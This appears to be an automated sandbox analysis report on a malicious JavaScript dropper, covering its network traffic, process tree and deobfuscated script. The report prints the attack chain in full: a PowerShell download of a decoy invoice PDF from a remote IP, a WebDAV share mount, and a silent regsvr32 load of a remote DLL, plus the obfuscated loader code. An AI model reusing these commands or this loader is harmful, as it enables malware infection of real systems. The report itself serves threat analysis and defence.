Jan 11, 2025 06:53:50.202218056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202225924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.202228069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.202275038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.229856014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.229868889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.229891062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.229911089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.229931116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.229934931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.229942083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.229962111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.229973078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.229976892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.229989052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230000973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230009079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.230011940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230021954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.230025053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230034113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.230038881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230068922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.230104923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230106115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.230123043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230144978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230163097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230169058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.230181932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230220079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230222940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.230233908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230247021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230258942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.230264902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.230355978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.258416891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258528948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.258593082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258604050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258615971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258629084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258642912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258657932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258671045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.258701086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.258750916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258763075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258774996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258809090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.258917093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.258958101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.435957909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.448312998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.753336906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:51.523020029 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:51.528017044 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:51.528270006 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:51.531889915 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:51.536724091 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:52.330137014 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:52.375807047 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:52.401895046 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:55:41.639388084 CET	56720	53	192.168.2.7	1.1.1.1
Jan 11, 2025 06:55:41.644237995 CET	53	56720	1.1.1.1	192.168.2.7
Jan 11, 2025 06:55:41.644340038 CET	56720	53	192.168.2.7	1.1.1.1
Jan 11, 2025 06:55:41.644376040 CET	56720	53	192.168.2.7	1.1.1.1
Jan 11, 2025 06:55:41.649231911 CET	53	56720	1.1.1.1	192.168.2.7
Jan 11, 2025 06:55:42.096525908 CET	53	56720	1.1.1.1	192.168.2.7
Jan 11, 2025 06:55:42.098385096 CET	56720	53	192.168.2.7	1.1.1.1
Jan 11, 2025 06:55:42.103491068 CET	53	56720	1.1.1.1	192.168.2.7
Jan 11, 2025 06:55:42.103583097 CET	56720	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:54:01.416820049 CET	54782	53	192.168.2.7	1.1.1.1
Jan 11, 2025 06:55:41.638509989 CET	53	57908	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:54:01.416820049 CET	192.168.2.7	1.1.1.1	0xdf77	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:54:01.424217939 CET	1.1.1.1	192.168.2.7	0xdf77	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	7268	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:53:48.756757975 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:53:49.523485899 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:53:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:53:49.523529053 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:53:49.523545980 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:53:49.523561001 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 06:53:49.523571968 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 06:53:49.523583889 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 06:53:49.523669004 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 06:53:49.523684978 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 06:53:49.523699999 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 06:53:49.523711920 CET	152	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[
Jan 11, 2025 06:53:49.574177980 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7584	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:53:51.531889915 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:53:52.330137014 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:53:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	3
Start time:	00:53:44
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js"
Imagebase:	0x7ff684a80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:53:44
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Imagebase:	0x7ff6f0c70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:53:44
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:53:44
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:53:50
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:53:50
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f0c70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:53:50
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73e3a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:53:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	00:53:51
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	00:53:53
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1528,i,6318482331063142513,4532046159025709797,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pgtso() {	pgtso() ➔ undefined
1	tguubhyg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var pmiuxj = this[cvvzw + zccsuv + zvoszy + dsnckrhzk + grolruqz + xdbpavr + dqxga + vadur] ( this[nfkzp + wzsqf + qjgkrv + zvoszy + agxtz + cvvzw + vadur][vzzqvvh + zvoszy + grolruqz + zccsuv + vadur + grolruqz + barwod + crlmi + htkducqs + grolruqz + qjgkrv + vadur] ( nfkzp + wzsqf + qjgkrv + zvoszy + agxtz + cvvzw + vadur + uufdc + wzsqf + ephum + grolruqz + nsyxr + nsyxr ) [gvjywon + grolruqz + whbbem + gvjywon + grolruqz + zccsuv + maguq] ( rtdzos + koywtoj + eapzcdnma + krrypsiqv + xoshzr + vzzqvvh + muwio + gvjywon + gvjywon + eapzcdnma + zczppx + fruluzk + xoshzr + muwio + wzsqf + eapzcdnma + gvjywon + ouhopu + vzzqvvh + rnlfd + dqxga + vadur + zvoszy + rnlfd + nsyxr + qzhbzxnz + pbxlkmxn + zccsuv + dqxga + grolruqz + nsyxr + ouhopu + xdbpavr + dqxga + vadur + grolruqz + zvoszy + dqxga + zccsuv + vadur + agxtz + rnlfd + dqxga + zccsuv + nsyxr + ouhopu + lnibbnz + rnlfd + qjgkrv + zccsuv + nsyxr + grolruqz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zpxyh = 0 ; zpxyh < tguubhyg[nsyxr + grolruqz + dqxga + whbbem + vadur + ephum] ; ++ zpxyh )
4	{
5	if ( pmiuxj == tguubhyg[zpxyh] )
6	{
7	pmiuxj = true;
8	break ;
9	}
10	}
11	if ( pmiuxj !== true )
12	this[nfkzp + wzsqf + qjgkrv + zvoszy + agxtz + cvvzw + vadur][ithfg + fzrhh + agxtz + vadur] ( );
13	this[nfkzp + wzsqf + qjgkrv + zvoszy + agxtz + cvvzw + vadur][vzzqvvh + zvoszy + grolruqz + zccsuv + vadur + grolruqz + barwod + crlmi + htkducqs + grolruqz + qjgkrv + vadur] ( nfkzp + wzsqf + qjgkrv + zvoszy + agxtz + cvvzw + vadur + uufdc + wzsqf + ephum + grolruqz + nsyxr + nsyxr ) [zvoszy + fzrhh + dqxga] ( qjgkrv + pyviwdofk + maguq + qzhbzxnz + gkjiizxq + qjgkrv + qzhbzxnz + cvvzw + rnlfd + dnpdtkw + grolruqz + zvoszy + dsnckrhzk + ephum + grolruqz + nsyxr + nsyxr + uufdc + grolruqz + xxoeri + grolruqz + qzhbzxnz + fhkke + vzzqvvh + rnlfd + pyviwdofk + pyviwdofk + zccsuv + dqxga + maguq + qzhbzxnz + flnxtvyb + xdbpavr + dqxga + drvtzuebp + rnlfd + wkkxmelg + grolruqz + fhkke + nfkzp + grolruqz + crlmi + gvjywon + grolruqz + cpwaoltqy + fzrhh + grolruqz + dsnckrhzk + vadur + qzhbzxnz + fhkke + barwod + fzrhh + vadur + semjlwrf + agxtz + nsyxr + grolruqz + qzhbzxnz + hkcdkvkhs + vadur + grolruqz + pyviwdofk + cvvzw + hkcdkvkhs + ouhopu + agxtz + dqxga + drvtzuebp + rnlfd + agxtz + qjgkrv + grolruqz + uufdc + cvvzw + maguq + gxhqtcdeh + qzhbzxnz + ephum + vadur + vadur + cvvzw + zzdfjv + gkjiizxq + gkjiizxq + gmetopgeo + rkvmlno + zrwdzfzh + uufdc + gmetopgeo + ajtbodn + zrwdzfzh + uufdc + gmetopgeo + uufdc + qcyfv + qxxjq + jnvwn + gkjiizxq + agxtz + dqxga + drvtzuebp + rnlfd + agxtz + qjgkrv + grolruqz + uufdc + cvvzw + ephum + cvvzw + flnxtvyb + trjge + trjge + dsnckrhzk + vadur + zccsuv + zvoszy + vadur + qzhbzxnz + hkcdkvkhs + vadur + grolruqz + pyviwdofk + cvvzw + hkcdkvkhs + ouhopu + agxtz + dqxga + drvtzuebp + rnlfd + agxtz + qjgkrv + grolruqz + uufdc + cvvzw + maguq + gxhqtcdeh + trjge + trjge + qjgkrv + pyviwdofk + maguq + qzhbzxnz + gkjiizxq + qjgkrv + qzhbzxnz + dqxga + grolruqz + vadur + qzhbzxnz + fzrhh + dsnckrhzk + grolruqz + qzhbzxnz + ouhopu + ouhopu + gmetopgeo + rkvmlno + zrwdzfzh + uufdc + gmetopgeo + ajtbodn + zrwdzfzh + uufdc + gmetopgeo + uufdc + qcyfv + qxxjq + jnvwn + sznyau + kjiwcbty + kjiwcbty + kjiwcbty + kjiwcbty + ouhopu + maguq + zccsuv + drvtzuebp + dnpdtkw + dnpdtkw + dnpdtkw + zvoszy + rnlfd + rnlfd + vadur + ouhopu + trjge + trjge + qjgkrv + pyviwdofk + maguq + qzhbzxnz + gkjiizxq + qjgkrv + qzhbzxnz + zvoszy + grolruqz + whbbem + dsnckrhzk + drvtzuebp + zvoszy + zrwdzfzh + qcyfv + qzhbzxnz + gkjiizxq + dsnckrhzk + qzhbzxnz + ouhopu + ouhopu + gmetopgeo + rkvmlno + zrwdzfzh + uufdc + gmetopgeo + ajtbodn + zrwdzfzh + uufdc + gmetopgeo + uufdc + qcyfv + qxxjq + jnvwn + sznyau + kjiwcbty + kjiwcbty + kjiwcbty + kjiwcbty + ouhopu + maguq + zccsuv + drvtzuebp + dnpdtkw + dnpdtkw + dnpdtkw + zvoszy + rnlfd + rnlfd + vadur + ouhopu + nroisk + rkvmlno + zrwdzfzh + gmetopgeo + zrwdzfzh + gmetopgeo + nroisk + pvfsh + qcyfv + nroisk + ajtbodn + zrwdzfzh + zrwdzfzh + uufdc + maguq + nsyxr + nsyxr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start 